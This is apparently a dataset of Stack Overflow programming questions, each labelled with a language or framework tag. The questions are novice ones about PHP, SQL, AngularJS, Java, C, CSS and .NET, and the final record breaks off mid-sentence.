php - issue with font echo  i ve started coding php 4 days ago and i m wondering why i get the output:   <pre><code>array[ username ] </code></pre>   when running this code:   <pre><code>$users = array(     array( username  =&gt;  alphacolors   email  =&gt;  cheese    likes =&gt; array( reading   gaming ))      array( username  =&gt;  betacolors   email  =&gt;  melon    likes =&gt; array ( looking on youtube   learning ))      array( username =&gt;  deltacolors   email  =&gt;  food    likes =&gt; array ( flipping a switch   looking at the light )) );  echo  &lt;p style =  font:20px calibri &gt; $users[1][ username ] &lt;/font&gt; ; </code></pre>   and not just the full array.    it must be a really dumb and obvious mistake of me but i can t find it myself.    thanks!,php
.net class loader - what is it   i can t find any good documentation on what the concept of a class loader is in the .net framework   what is it   where can it be found   does anyone know,.net
ssh multiple queries  i want to run multiple sql queries at once on ssh.  i am using putty. is this the correct syntax     <pre><code>delete from table1 where date =  2011-12-31 ; delete from table1 where date =  2012-12-31 ; </code></pre>,sql
angularjs $scope is not updated  i am developing an angular-ionic-firebase application. i am struggling on an issue where i am unable to update a $scope in my html. my  must resolve {{uevent}} and update the html with the result of {{uevent}}. my html code is below.   <pre><code>**&lt;ion-view view-title= {{uevent}} &gt;** &lt;ion-tabs class= tabs-stable tabs-icon-top &gt;     &lt;ion-tab title= buddies  icon= ion-ios-people  ng-   click= showbuddies(a) &gt;     &lt;/ion-tab&gt;     &lt;ion-tab title= summary  icon= ion-navicon  ng-click= billsummary() &gt;     &lt;/ion-tab&gt; &lt;/ion-tabs&gt; </code></pre>   my angular code is below. curruser is a factory. i ve defined an empty $scope.uevent which i am expecting to update using a value returned from a factory.   <pre><code>var eventid = curruser.geteventid(); $scope.uevent =    ;  function updateevent(desc) { $scope.uevent = desc; console.log($scope.uevent);// i am able to see the value returned from the factory. this function is executed below in the for loop. };  // promise that returns a value from the factory - curruser. curruser.geteventdesc(eventid).then(function (result) { var description = result; var desc; for (var itemid in description) { var tmp = description[itemid]; desc = tmp.description; // this contains the value that must be updated to $scope.uevent updateevent(desc); // calls the function defined above to update $scope.uevent. }; }); </code></pre>   i ve been on this since last night without any clues. any help is greatly appreciated and as always  thanks for your time.    update #1:(07 july) when i added a timeout of 1 sec  the view was updated to the correct value.   <pre><code>function updateevent(desc) { $timeout(function(){     $scope.$apply(function () {          $scope.uevent = desc;         })     } 1000);     }; </code></pre>   regards,angularjs
how ask mysql for many queries at once  similar to for loop  i need change data in db. the structure of command is easy  but i need to repeat it with different parameters 100 times. is there any chance how to do it not manually    <pre><code>update observation set  value_metadata=  erg_kp  where parameter_stable_id =  ccp_017  and value_metadata= kp  </code></pre>   only the value in single quotes should be changed. thanks,mysql
mysql order by with dot(.)  i saw this code snippet in an tutorial. but i don t know what s the purpose of .()dot between a and b. please  can someone explain that.    <pre><code>order by `a`.`b` desc limit 1 </code></pre>   the code is as follow    <pre><code>select *  from pop_outlog  order by pop_outlog.time_sent desc  limit 1; </code></pre>   what s the purpose of doing so rather than using only column name,mysql
how to reload tabledata when i move between tableviewcontrollers  my requirement is such that....i can abl to get datas dynamically in viewwillappear method...but i want to map this dynamic data in to tableview.whts happening is that in first time only cellforrowatindexpath is called....but for subsequent times it is not called....please tell me how to resolve above issue,iphone
should i throw argumentnullexception if a string is blank   i working on a method that does something given a string parameter.  a valid value for the string parameter is anything other than null or string.empty.  so my code looks like this.   <pre> private void somemethod(string someargument) {     if(string.isnullorempty(someargument))         throw new argumentnullexception( someargument );      // do some work } </pre>   nothing too exciting there.  my question is  is it okay to throw an argumentnullexception even if the string is equal to string.empty   because technically it isn t null.  if you believe it should not throw argumentnullexception what exception should be thrown,.net
using recursion for a custom linkedlist  for homework i was told to write the insert method(in order) of a custom linked list. i wrote the base case  but i still don t understand the recursion case. i know i just asked how to write the contain method and someone helped me out  but in that case i did not have to do any modifications to the list like on this method. please help me understand what is causing my linked list to override and if there is an easier way to simplify my code.    here is my code:   <pre><code>public class orderedlist {  private node first;  //constructor public orderedlist() {     this.first = null; }  //return the number of items in the list public int size() {     int counter = 0;     node pointer = this.first;     while (pointer != null) {         counter++;         pointer = pointer.next;     }     return counter; }  //return an array of copies of the stored elements public comparable[] getstore() {      comparable[] elements = new comparable[size()];     node pointer = this.first;     if (this.first == null) {         return elements;     } else {         int i = 0;         while (pointer != null) {             elements[i] = pointer.data;             pointer = pointer.next;             i++;         }         return elements;     }  } //true iff item matches a stored element //recursive  public boolean contains(comparable item) {      return containshelper(this.first  item);  }  private boolean containshelper(node node  comparable item) {     //base case     if (node == null) {         return false;     } else {         if (node.data.compareto(item) == 0) {             return true;         }          return containshelper(node.next  item);     }  } //add item preserving the order of the elements //recursive  public void insert(comparable item) {      inserthelper(this.first  item);  }  public void inserthelper(node pointer  comparable item) {     //base case     node store = new node(item);      if (pointer == null) {         store.next = this.first;         this.first = store;          return;     }     if (pointer.data.compareto(item) &gt; 0 ) {         store.next = pointer;           return;     }     if (pointer.data.compareto(item) &lt; 0 &amp;&amp; pointer.next == null) {         store.next = pointer.next;         pointer.next = store;          return;      } else {          node save = this.first;         this.first = this.first.next;          inserthelper(this.first  item);          if (pointer.data.compareto(item) &gt; 0) {             save.next = store;             this.first = save;         } else {             save.next = pointer;             this.first = save;         }      }  } </code></pre>,java
confused with pointer and double pointer in the heap  i m getting confused about pointers and double pointers.    suppose we have these   <pre><code>int* ptr = new int[2]; </code></pre>   here  ptr has the address of an array of size two in the heap that keeps int data right    <pre><code>int** ptr = new int* [2]; </code></pre>   here  ptr has the address two pointers in the heap and these two pointers can point to some int data.    is my thinking here correct,c++
object transformation in javascript  i have an an object i need to transform into a different format    the original:   <pre><code>{ module1 :{ mod1 :[{ hours :10} { weeks :2} { days :15}]}    module2 :{ mod2 :[{ cars :1} { cats :5} { people :4}]}  } </code></pre>   the desired result :   <pre><code>{ module1 : /mod1/10/2/15   module2 : /mod2/1/5/4  } </code></pre>   here is my attempt (sorry im still learning this)   <pre><code>  function(newurl){             var encodedurl = {};             var tempstring =   ;             console.log(json.stringify(newurl));              for (var p in newurl) {                      tempstring =  /  + object.keys(newurl[p]);                 for (var j in newurl[p]){                     _.each(newurl[p][j]  function(obj){                         tempstring +=  /  + _.values(obj);                     });                     encodedurl[p] = tempstring;                     console.log(encodedurl);                }               }          } </code></pre>   so  i think i was able to make the string correctly. hoever it only seems to be working the first time around. it s logging in a weird pattern   <pre><code> object {module1:  /mod1/10/2/15 }  object {module1:  /mod1/// }  object {module1:  /mod1///   module2:  /mod2/1/5/4 } </code></pre>   i think i have something wrong in my logic parsing this  i cannot pinpoint it though. would love a second pair of eyes to help. thanks!,javascript
how to set the object context in another class using objective-c   i have a main class and three other classes  now i need to give the reference of the other three objects that is created in their own classes to the main class object.how to do it,objective-c
python indentation error  the following code is returning some strange indentation error inside a for statement. the console is pointing the error at a list.append() method. it should be a silly misstake onetime i am new at python. heh   <pre><code>import os import sys import re import glob  from text import text from word import word from filecategory import filecategory  class fileio(object):      def loadfile(self  filepath):          newtext = text(os.path.basename(filepath))          words=[]         with open(filepath) as buff:             content = buff.read().lower()             re.sub( [^\w\s]       content)             re.sub( [0-9]       content)             words = content.split(   )          for word in words:             wordfound = next(auxword for auxword in newtext.words if auxword.textword == word)              if wordfound is none:                 newword = word(word  1)                 newtext.words.append(newword)             else:                 wordfound.countintext+=1          return newtext      def loadfilesfromdirectory(self  path):         newcategory = filecategory()         files=[]         os.chdir(path)         for file in glob.glob( *.txt ):              files.append(file)          for filepath in files:             newfile = loadfile(filepath)             if newfile is not none:                 newcategory.files.append(newfile)          return newcategory </code></pre>   log:   <pre><code>traceback (most recent call last):   file  aprendizadmaq.py   line 6  in &lt;module&gt;     from fileio import fileio   file  /home/adolfosrs/dropbox/7º semestre/ia/t2/pyaprendizadmaq/fileio.py   line 38     files.append(file)         ^ indentationerror: expected an indented block </code></pre>   any idea,python
mysql - merge messages and replies by user  i have two tables in mysql database    <b>messages</b>   <pre><code>email           message_id   content   time_sent test@test.ee    1            aaa       2012-11-01 01:09:47 test@test.ee    2            ddd       2012-11-01 01:18:47 </code></pre>   <b>replies</b>   <pre><code>message_id   content  time_sent 1            bbb      2012-11-01 01:12:47 1            ccc      2012-11-01 01:14:47 2            eee      2012-11-01 01:19:47 </code></pre>   i need to get all messages by certain email merged with replies ordered by time_sent.<br> this would be perfect:   <pre><code>email          content  time_sent test@test.ee   aaa      2012-11-01 01:09:47                bbb      2012-11-01 01:12:47                ccc      2012-11-01 01:14:47 test@test.ee   ddd      2012-11-01 01:18:47                eee      2012-11-01 01:19:47 </code></pre>   even a tip where to start from would be helpful. thanks!,mysql
in angular  how do i know when the model is rendered already in html  currently i am using the angular to build a prototype application  i have a list of person to show  therefor i built a model for the person. when the people  s list is loaded from the http  the model is rendered. this works well   <pre><code>&lt;li class= person  ng-repeat= person in people  &gt;    &lt;h1&gt;{{person.displayname}}&lt;/h1&gt;      &lt;div class= knockout &gt;         &lt;div id= person-{{person.displayname}} &gt;&lt;/div&gt; // to add d3.js svg       &lt;/div&gt;     &lt;/li&gt; </code></pre>   now what i need additionally is as soon as the model is rendered  to use d3.js to add another svg layer on top of the original html.    however  as the code shown below  when the model is updated  i tried to add svg for each html  but it doesn t work since at that time  the html of model is not rendered   <pre><code>    $http.get(href).success(function(data) {                         $scope.people= data.people; // update the model             var svg = d3.select( #person- +data.people[0].name)                    .append( svg );               }).error(function(data  status  headers  config) {      }); </code></pre>   currently what i do is to set a timeout for adding the svg for each html element  but it is better for me to get notified as soon as the model  s html is rendered completely     thanks,angularjs
what is the appropriate way to manage and name forms in a solution   i am a beginner to visual studio 2015 and c# and am looking for some general advice i could not not find anywhere else  so please bear with me.    let s say i create a new windows forms application  in the solution explorer i can already see <code>form1.cs</code> has been added to the tree  and child to this is <code>form1.designer.cs</code> and <code>form1</code>.    now i want to add another form by right clicking <code>windowsformapplication1</code> and <code>add</code> > <code>new item...</code>    the solution explorer now looks something like this:    <a href= https://i.stack.imgur.com/ugxxm.jpg  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/ugxxm.jpg  alt= enter image description here ></a>   <hr>   for my first c# project i am recreating notepad which should not be overly difficult  this will allow me to familiarize myself with the language and syntax etc.    i have added a second form to my project which will be the <code>go to</code> line number form  shown from the edit menu in notepad.    suppose i want to give <code>form1</code> and <code>form2</code> more meaningful names what is the correct way to do this     from the properties inspector i named <code>form1</code> as <code>frmmain</code> and <code>form2</code> as <code>frmgoto</code> but i noticed in the solution explorer the parent names are still <code>form1.cs</code> and <code>form2.cs</code>:    <a href= https://i.stack.imgur.com/vvrnn.jpg  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/vvrnn.jpg  alt= enter image description here ></a>    so i right clicked each parent node and renamed them too like so:    <a href= https://i.stack.imgur.com/6m2ys.jpg  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/6m2ys.jpg  alt= enter image description here ></a>   <hr>   my question now is was this the right or wrong approach  i feel like i am going to have naming conflicts maybe.    to test i tried showing the <code>frmgoto</code> form like so:   <pre><code>form frmgoto = new frmgoto(); frmgoto.showdialog(); </code></pre>   i think i did this right  the <code>frmgoto</code> does show correctly but as i say i have my doubts regarding the way i renamed the forms from both the property inspector and solution explorer.    was there anything wrong with what i did above  should i have used separate naming conventions for the property inspector form name and the solution explorer name etc  will i run into any problems naming the forms like i did above     i suppose i am looking for some clarity as to how best to rename forms within a solution,c#
how can i turn a multi-line string into an array where each element is a line of said string   lets say i have    <pre><code>string str = @ line 1 line 2 line 3 ; </code></pre>   how can i turn this into an array where the 3 elements are  line 1    line 2  and  line 3 .,c#
what s equivalent to javascript bubbling events in .net   i think javascript has a mechanism that allows to bubbling events from top down and down up. what s the equivalent in .net winform (not asp.net)      events/delegates in .net automates the observer/design pattern by avoiding the subject to handle the message update sending to subscribers so i can t see any fundamental reason why bubling couldn t have existed.    events/delegates allows loose coupling compared to using iobserver  in the same way if bubbling was implemented it would also allow loose coupling instead of doing inheritance and hard-wire the call to the base parent.,.net
ruby on rails - users following relationship  i m creating my first rails app and i want a very basic user system (no validation considerations happening yet) where one user can follow another similar to twitter or instagram.    after search stackoverflow previously  i found the following video on youtube and tried to follow their instructions before proceeding.  i ve linked it below as a reference.    <a href= https://www.youtube.com/watch v=jsuwu50xk48  rel= nofollow >https://www.youtube.com/watch v=jsuwu50xk48</a>    i wrote the following classes  and also wrote the following migration to add these to my database as well.  although the migration was not found in the video  i think part of my problem may be with the migration class as well.   <pre><code>class user &lt; activerecord::base     has_secure_password      has_many :posts     has_many :followers  through: :followings end  class following &lt; activerecord::base     belongs_to :user     belongs_to :follower  class_name:  user  end  class createfollowings &lt; activerecord::migration     def change         create_table :followings do |t|             t.integer       :user_id             t.integer       :follower_id             t.timestamps         end     end end </code></pre>   after running <code>rake db:drop db:migrate</code>  my database filled out the tables as i expected  however i also tried to then run <code>rake db:seed</code> after writing the following in my <code>seeds.rb</code> file.   <pre><code>jerry = user.create( :name =&gt;  jerry   :email =&gt;  jerry@seinfeld.com   :password =&gt;  newman  ) george = user.create( :name =&gt;  george   :email =&gt;  george@costanza.com   :password =&gt;  bosco  ) elaine = user.create( :name =&gt;  elaine   :email =&gt;  elaine@benes.com   :password =&gt;  dance  ) kramer = user.create( :name =&gt;  kramer   :email =&gt;  cozmo@kramer.com   :password =&gt;  bagels  )  kramer.following.create(follower: jerry) </code></pre>   i tried both pluralizing <code>following</code> and <code>followings</code> in that last <code>.create()</code> method  but both times the error in my console was  nomethoderror: undefined method  following .    if anyone may be able to offer assistance here  i d be grateful!,ruby-on-rails
jquery passing data title to self  currently i have this in my code to identify (this) in an html element.   <pre><code>var $self = $(self); </code></pre>   using $self i then make my jquery calls like so:   <pre><code>$self.val( 0 ); or $self.val( 1 ); etc... </code></pre>   i also am able to get an element via jquery with this:   <pre><code>$( [data-title= printing ] ).val() </code></pre>   my question is how would i make a call to an element using the self and also the data title field indicated above.<br> something like this (obviously wrong syntax)    $self.( [data-title= printing ] ).val()    edit: as requested here is the rest of the code:    i have an input element:   <pre><code>&lt;input type= checkbox  onchange= getbuttondetails(this)  data-toggle= switch  data-title= printing  data-order= {{ $order-&gt;order_number }}  class= ct-primary  value= 0  /&gt; </code></pre>   which calls getbuttondetails(this)    <pre><code>function getbuttondetails(elem){                       var self = elem;                       var $self = $(self);                          console.log($self.data( order ));} </code></pre>,jquery
need help debugging in c++  i want it to get the input and split it up to 3 and save them as 3 strings help me please! the cout and cin at the end of the numbers function are here to help me check if it ran correctly at the moment if i do 123 + 890 it says 3 press enter to continue.   <pre><code>// calculater.cpp : defines the entry point for the console application. //  #include  stdafx.h  #include &lt;iostream&gt; #include &lt;string&gt; using namespace std; int input  num1  num2  length  op  i  result  useless;  int numbers(string input  int length) {     i = 0;     string op;     string num1;     string num2;     while (input.substr(i  1).compare(   ) == 0 &amp;&amp; i != length)     {         i++;         num1 = input.substr(0  i);     }     i = i + 2;     op = input.substr(i  1);     while (input.substr(i  1).compare(   ) == 0 &amp;&amp; i != length)     {         num2 = input.substr(0  i);         i++;     }     cout &lt;&lt;  \n  &lt;&lt; num1 &lt;&lt;     &lt;&lt; op &lt;&lt;     &lt;&lt; num2;     cin &gt;&gt; useless;     return 0; } int main() {     string input;     cout &lt;&lt;  calculator\nby matt y-j!\n\n ;     cout &lt;&lt;  equation: ;     cin &gt;&gt; input;     length = input.length();     numbers(input  length);     system( pause );     return 0; } </code></pre>,c++
how to calculate non-latin language text width in ios   i am using the following code to get the size of urdu language but it is calculating the wrong width  please help me to find the correct width of urdu string.    <pre><code> cgsize size = [str sizewithattributes:@{nsfontattributename: [uifont fontwithname:@ jameel-noori-nastaleeq  size:18.0f]}]; </code></pre>,ios
prevent calling of functions in static library  i have created a static library using xcode for ios.  in c++  if a class is needed to be called from other programs  it will need to add  __declspec(dllexport)  to export the class.  in xcode  no export is needed. is there a way to prevent the calling of the functions in the library that i do want want to expose to other programs     thanks.,ios
how can i change my c code   i m beginner in c programming and i have a problem with my code . i wanted to write a c code that when i give a reverse sentence to it   the program print that sentence in usual arranged . ( you can see the example ) . my problem is when i don t put any sign like   or ! etc   the sentence hasn t printed correctly . ( see the example ) can you help me to solve this problem   i want a code to show arranged all kind of reverse sentence that i give to it . ( excuse me for my english)   <pre><code>example : input :  od uoy tnaw ot eunitnoc  output:  do you want to continue  </code></pre>   but when i write this sentence whithout   sign :   <pre><code>input :  od uoy tnaw ot eunitnoc output:  do you want to </code></pre>   and it doesn t show  continue     here is my code :    <pre><code>#include &lt;stdio.h&gt;  int main() {     char sentence[100];     int ch  i  j  k;      for (i=0; i&lt;sizeof(sentence)-1; i++)     if ((sentence[i] = getchar()) ==  \n )     break;      sentence[i] =  \0 ;      for (j = 0; j &lt;i; j++)     {         if(islower(sentence[j])||isupper(sentence[j]))         continue;         for( k=j-1;sentence[k]!=    &amp;&amp; k&gt;=0;k--)         {             ch=sentence[k];             putchar(ch);         }         ch=sentence[j];         putchar(ch);     }     return 0; } </code></pre>   i have tried a lot of logical ways but the result wasn t change :( .,c
store files uploaded by users  i am building a dating site  the user have the option to upload 6 images.    my question is where to save them.  i red about file system/data bases approach and didn t figured out yet which one to use  and this is the first time for me to accept files.    so where to save them  in the root application folder  in the app_data folder    <ul> <li>i red here about the same* questions but didn t find a conclusive answer.</li> </ul>,asp.net
array form data received in php  i want to received 4 5 row data in php. when i put values in the form like 3 or 4 row than i want to received the same data in php :(    i am trying to make a pos. when the customer order multiple product than the order row automatically increase but there is no limit 5  10  15 or else.    and i want to received the data value in same rows like     <pre><code>&lt;form name= data  method= post  action= data_rec.php  enctype= multipart/form-data &gt; &lt;table width= 500  border= 0  cellspacing= 0  cellpadding= 0 &gt;   &lt;tr&gt;     &lt;td&gt;     &lt;input name= data[]  type= text  id= data1  /&gt;     &lt;/td&gt;     &lt;td&gt;     &lt;input name= data[]  type= text  id= data1  /&gt;     &lt;/td&gt;     &lt;td&gt;     &lt;input name= data[]  type= text  id= data1  /&gt;     &lt;/td&gt;     &lt;td&gt;     &lt;input name= data[]  type= text  id= data1  /&gt;     &lt;/td&gt;   &lt;/tr&gt;      &lt;tr&gt;     &lt;td&gt;     &lt;input name= data[]  type= text  id= data1  /&gt;     &lt;/td&gt;     &lt;td&gt;     &lt;input name= data[]  type= text  id= data1  /&gt;     &lt;/td&gt;     &lt;td&gt;     &lt;input name= data[]  type= text  id= data1  /&gt;     &lt;/td&gt;     &lt;td&gt;     &lt;input name= data[]  type= text  id= data1  /&gt;     &lt;/td&gt;   &lt;/tr&gt;     &lt;tr&gt;     &lt;td&gt;     &lt;input name= data[]  type= text  id= data1  /&gt;     &lt;/td&gt;     &lt;td&gt;     &lt;input name= data[]  type= text  id= data1  /&gt;     &lt;/td&gt;     &lt;td&gt;     &lt;input name= data[]  type= text  id= data1  /&gt;     &lt;/td&gt;     &lt;td&gt;     &lt;input name= data[]  type= text  id= data1  /&gt;     &lt;/td&gt;   &lt;/tr&gt;     &lt;tr&gt;     &lt;td&gt;     &lt;input name= data[]  type= text  id= data1  /&gt;     &lt;/td&gt;     &lt;td&gt;     &lt;input name= data[]  type= text  id= data1  /&gt;     &lt;/td&gt;     &lt;td&gt;     &lt;input name= data[]  type= text  id= data1  /&gt;     &lt;/td&gt;     &lt;td&gt;     &lt;input name= data[]  type= text  id= data1  /&gt;     &lt;/td&gt;   &lt;/tr&gt;     &lt;tr&gt;     &lt;td&gt;     &lt;input name= data[]  type= text  id= data1  /&gt;     &lt;/td&gt;     &lt;td&gt;     &lt;input name= data[]  type= text  id= data1  /&gt;     &lt;/td&gt;     &lt;td&gt;     &lt;input name= data[]  type= text  id= data1  /&gt;     &lt;/td&gt;     &lt;td&gt;     &lt;input name= data[]  type= text  id= data1  /&gt;     &lt;/td&gt;   &lt;/tr&gt;  &lt;/table&gt;  &lt;input name= submit  type= submit  value= send &gt; &lt;/form&gt;      &lt; php          foreach (array_combine($_post[ data ]  $_post[ data ]) as $i =&gt; $data) {          $i. &lt;br /&gt; ;         echo $data. &lt;br /&gt; ;         echo  sagor . &lt;br /&gt; ;     }        &gt; </code></pre>   <strong>output :</strong>    <pre><code>1 sagor 2 sagor 3 sagor 4 sagor 5 sagor 6 sagor 7 sagor 8 sagor  sagor </code></pre>   <strong>but i need :</strong>   <pre><code>1 2 3 4 sagor 5 6 7 8 </code></pre>,php
how os identifies dll is win32 dll or .net dll <blockquote>    <strong>possible duplicate:</strong><br>   <a href= https://stackoverflow.com/questions/3254035/how-does-the-system-determine-whether-a-given-dll-is-a-net-dll >how does the system determine whether a given dll is a .net dll </a>    </blockquote>     hi   when dll is loaded   how os identifies it is win32 dll or .net dll,.net
inside href i have   which binds some layout to other htmlpage   here in views i have layout.html in this layout i have top and side navigation bars in mig i have tables with data my question is what is this   how is it useful,html
are there limitations on what i can name an element when i am creating a directive in angulajs   i am wanting to create a directive for this code. i would like to pass in the text that s currently <code>xxxxx</code> as a parameter inside of the element. not quite sure how to do this.   <pre><code>    &lt;div class= gridfooter  ng-show= home.dataretrieved &gt;         &lt;span ng-show= (home.grid.data).length &gt;{{ (home.grid.data).length +   rows retrieved -   +  home.grid.view.length +   displayed  }}&lt;/span&gt;         &lt;span ng-show= !(home.grid.data).length &gt;xxxxx&lt;/span&gt;     &lt;/div&gt; </code></pre>   i would like it to use <code>restrict:  e </code>      can someone tell me if it is valid for me to name the element as <code>&lt;grid-footer&gt;</code> also if not then are html element names case sensitive  for example could i name the element <code>&lt;gridfooter&gt;</code>,angularjs
"how to prevent adjoining elements from moving when increasing border width   i have a simply layout that consists of boxes.     <div class= snippet  data-lang= js  data-hide= false  data-console= false  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-css lang-css prettyprint-override ><code> .action_box {
    width: 300px;
    height: 200px;
    border: 1px solid black;
    float: left;
    margin-left: 10px;
    margin-top: 10px;
  }
  .action_box p {
    border: 1px solid black;
    margin-top: 0px;
    text-align: center;
  }
  .action_box:hover {
    border: 2px solid black;
    cursor: pointer;
  }</code></pre>
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;div class= action_box &gt;asdasds&lt;/div&gt;
 &lt;div class= action_box &gt;asdasds&lt;/div&gt;
 &lt;div class= action_box &gt;asdasds&lt;/div&gt;
 &lt;div class= action_box &gt;asdasds&lt;/div&gt;
 &lt;div class= action_box &gt;asdasds&lt;/div&gt;</code></pre>
 </div>
 </div>
     when hovering about one box i want it to get a broader border. actually it works  but all other boxes are moving away and destroying the website. how can i prevent such behavior  adding a padding does not achieve this goal.    i read <a href= https://stackoverflow.com/questions/22912335/how-to-prevent-divs-from-moving-when-i-hover-on-an-element-that-changes-size-abo >this</a> post and the only possible solution would be to use <code>position: absolute;</code>. i d need to assign individual parameters to each box. isn t there an easier way  but i would like to use only one class.",css
get the beginning of a string until a given char  i know that is a simple question but i couldn t find the answer.    i have this string:    <pre><code> m1[r2][r3]  </code></pre>   i want to get only the <code> m1 </code>  i m looking for something like <code>strchr()</code> a function that get the string and a <code>char</code> to stop at.,c
how to troubleshoot angular  10 $digest() iterations reached  error <blockquote>    10 $digest() iterations reached. aborting!  </blockquote>   there is a lot of supporting text in the sense of  watchers fired in the last 5 iterations:    etc.  but a lot of this text is javascript code from various functions.  are there rules of thumb for diagnosing this problem   is it a problem that can always be mitigated  or are there applications complex enough that this issue should be treated as just a warning,angularjs
join query yielding unwanted results  i m aware that the query is performing <code>how it should</code> however it is not performing the <code>way i would like.</code> the current query locates all conversations that have messages and presents all messages that are after a provided unix_timestamp.     the issue with this query is that i need all of the fields from <code>application_conversation</code> to be displayed  regardless as to if there is a message available  for example the current query yields the following results:   <pre><code>conversation_id | conversation_participant_one | conversation_participant_two | conversation_last_message | conversation_last_message_date | message_id | message_conversation_id | message_sender_id | message_data | message_created_at        1                      33                             34                       how are you                 2016-04-25 08:59:59            1                 1                       33           how are you    2016-04-25 08:59:59     </code></pre>   the above result is what my current query provides  however there is another row in the <code>application_conversation</code> table which matches user <code>33 and 36</code>. below you can see an example of what results i expect to get back from the query. (basically any fields where the message doesn t exist would be null).   <pre><code>conversation_id | conversation_participant_one | conversation_participant_two | conversation_last_message | conversation_last_message_date | message_id | message_conversation_id | message_sender_id | message_data | message_created_at        1                      33                             34                       how are you                 2016-04-25 08:59:59            1                 1                       33           how are you    2016-04-25 08:59:59        2                      33                             36                           null                    1970-01-01 00:00:00           null              null                    null              null              null          </code></pre>   here is the query that i m currently using:   <pre><code>select c.*  m.* from `application_conversation` c inner join `application_conversation_messages` m on m.message_conversation_id = c.conversation_id where (c.conversation_participant_one = 33 or c.conversation_participant_two = 33) and c.conversation_created_at &gt; from_unixtime(0) and m.message_created_at &gt; from_unixtime(0) order by m.message_created_at; </code></pre>   now one of the issues here is that i also have to order the <code>message_created_at</code> field of a message  if it does exist  so that i m not pulling messages older than the timestamp requested by the client. in this query  that means that the message must exist.     how can i go about not requiring the message to exist  but applying the <code>filter(m.message_created_at &gt; from_unixtime(0))</code> on the message if it does exist  while still returning null values if the message does not exist.     i am using mysql. bundled with the xampp package. not sqlserver.,mysql
how to use variables in the same file for a other piece of code  i am making a little code  and i am now already running into a error   <pre><code>string getcode(string code) {     int count = code.length;     if (count % 2 == 0)     {         string error =  no ;     }     else     {         string error =  yes ;         string error_message =  there is something wrong with the code. program.cs - line 23 ;     }      if (error ==  yes )         return null;      return error; } </code></pre>     well  now i am setting the variable <code>error</code> in a if statement. bu if i later say <code>if (error ==  yes )</code> doesn t work. it gives me the error <code>the name  error  does not exist in the current content</code> i am now already search whole the internet for 15-20 minutes. tryin a lot of fixes and examples. with global variables and even tried to make another class for my variables and read the variables from there. that worked  but then i could not set the variables anymore. or i just don t know how to do so. can you please help me  i will be really thankful!    thanks,c#
website working in chrome  firefox but no in safari  i m building a test website (<a href= http://rocketplays.com  rel= nofollow noreferrer >http://rocketplays.com</a>)  it s working on chrome and firefox but when i try to open the website in safari it s locked in the bottom part of the website. any clue what would work to fix this     thanks!,html
onload clashing with onerror function  creating the simple status checker  however when the image fails to load and the src is changed to the offline symbol the onload function is triggered and changes the image to the online one even if the website is offline.    i know i can solve this by hosting the online symbol on the website i am testing  but i want to be able to test websites that i don t own or like blogger where the image is not hosted on your domain.   <pre><code>&lt;!doctype html&gt; &lt;html&gt;     &lt;head&gt;         &lt;link rel= shortcut icon  type= image/x-icon  href= /favicon.ico /&gt;         &lt;meta http-equiv= content-type  content= text/html; charset=utf-8  /&gt;         &lt;title&gt;             etree status         &lt;/title&gt;      &lt;/head&gt;     &lt;body&gt;         &lt;div style= margin: 20px; background-color: #eee; width: 400px; padding: 10px; &gt;             &lt;img style= height:20px;  src= http://s.etree.biz/1akemji  alt= status  onload= this.src= http://s.etree.biz/1e94zdh   onerror= this.src= http://s.etree.biz/1zqwvpm   /&gt;              blog.etree.biz              &lt;br/&gt;             &lt;img style= height:20px;  src= http://s.etree.biz/1g7agde  alt= status  onload= this.src= http://s.etree.biz/1e94zdh   onerror= this.src= http://s.etree.biz/1zqwvpm   /&gt;              www.etree.biz              &lt;br /&gt;         &lt;/div&gt;     &lt;/body&gt; &lt;/html&gt; </code></pre>,html
setting a property in a class method in objective c  this is my first objective c project  and i m having trouble setting a property from a class method that also creates the object.    <pre><code>#import &lt;foundation/foundation.h&gt; #import  alphabet.h  @interface cipher : nsobject // properties that define a filename  a key and an alphabet object @property nsstring *key; @property (strong) alphabet * alphabet;  // this method is a class/factory method to create a cipher object with the key + (id)cipherwithkey:(nsstring *) key;  // the following methods encrypt and decrypt a message with the  alphabet  - (nsstring *) decryptwithdefaultalphabet:(nsstring *) message; - (nsstring *) encryptwithdefaultalphabet: (nsstring *) message; @end </code></pre>   i ve tried a few different things that haven t worked.   <pre><code>#import  cipher.h   @implementation cipher  @synthesize key = _key; @synthesize alphabet = _alphabet;  + (id) cipherwithkey : (nsstring *) key { //    self.key = key;     [cipher setkey : key];     return self; }  + (void) setkey : (nsstring *) key {     self.key = key; } </code></pre>,objective-c
jquery ie7 / ie8: prevent change event triggering on enter  here is sample code:    <a href= http://jsfiddle.net/bsjgx/1/  rel= nofollow >http://jsfiddle.net/bsjgx/1/</a>   <pre><code>&lt;input id= testing  /&gt;  $( #testing )     .keydown(function(e){         if(e.keycode==13) {return false;}     })     .change(function(){         $( body ).append( &lt;br /&gt;changed );     }); </code></pre>   how do you ppl doing it in ie7 / ie8 etc     thanks ;),jquery
refreshing jtable does not return updated data  my jtable is not updating my data after insert or update button. my jframe has 2 functions for refreshing my tables.my first function is running well  but my second is not    here is my first function that works fine      <pre><code> public void  executesqlquery (string query string message) {         connection con =getconnection();         statement stt;         try{             stt =con.createstatement();             if((stt.executeupdate(query))==1)             {                 //refresh jtable data                 defaulttablemodel model=(defaulttablemodel)jtable_products.getmodel();                 model.setrowcount(0);                 show_products_in_jtable();                 joptionpane.showmessagedialog(null  data  +message+  succefully );             }else{                 joptionpane.showmessagedialog(null  data not  +message+  error );             }                  }catch (exception ex){                     ex.printstacktrace();                 } }  public void show_products_in_jtable(){      arraylist&lt;update_del_insert_products&gt; list= getprolist();      defaulttablemodel model =(defaulttablemodel)jtable_products.getmodel();      object[] row =new object[7];      for(int i =0;i&lt; list.size();i++)      {             row[0] = list.get(i).getpro_id();          row[1] = list.get(i).getpro_name();          row[2] = list.get(i).getpro_price();          row[3] = list.get(i).getpro_quantity();          row[4] = list.get(i).getpro_supplier_id();          row[5] = list.get(i).getpro_tax();          row[6] = list.get(i).getcat_productss();                 model.addrow(row);       }   }  </code></pre>   here is my query    <pre><code>private void addproductactionperformed(java.awt.event.actionevent evt) {     string query= insert into products(pro_id  pro_name pro_price pro_quantity pro_supplier_id pro_tax cat_products)values (  +pro_id.gettext()+      +pro_name.gettext()+      +pro_price.gettext()+      +pro_quantity.gettext()+      +pro_supplier_id.gettext()+      +pro_tax.gettext()+      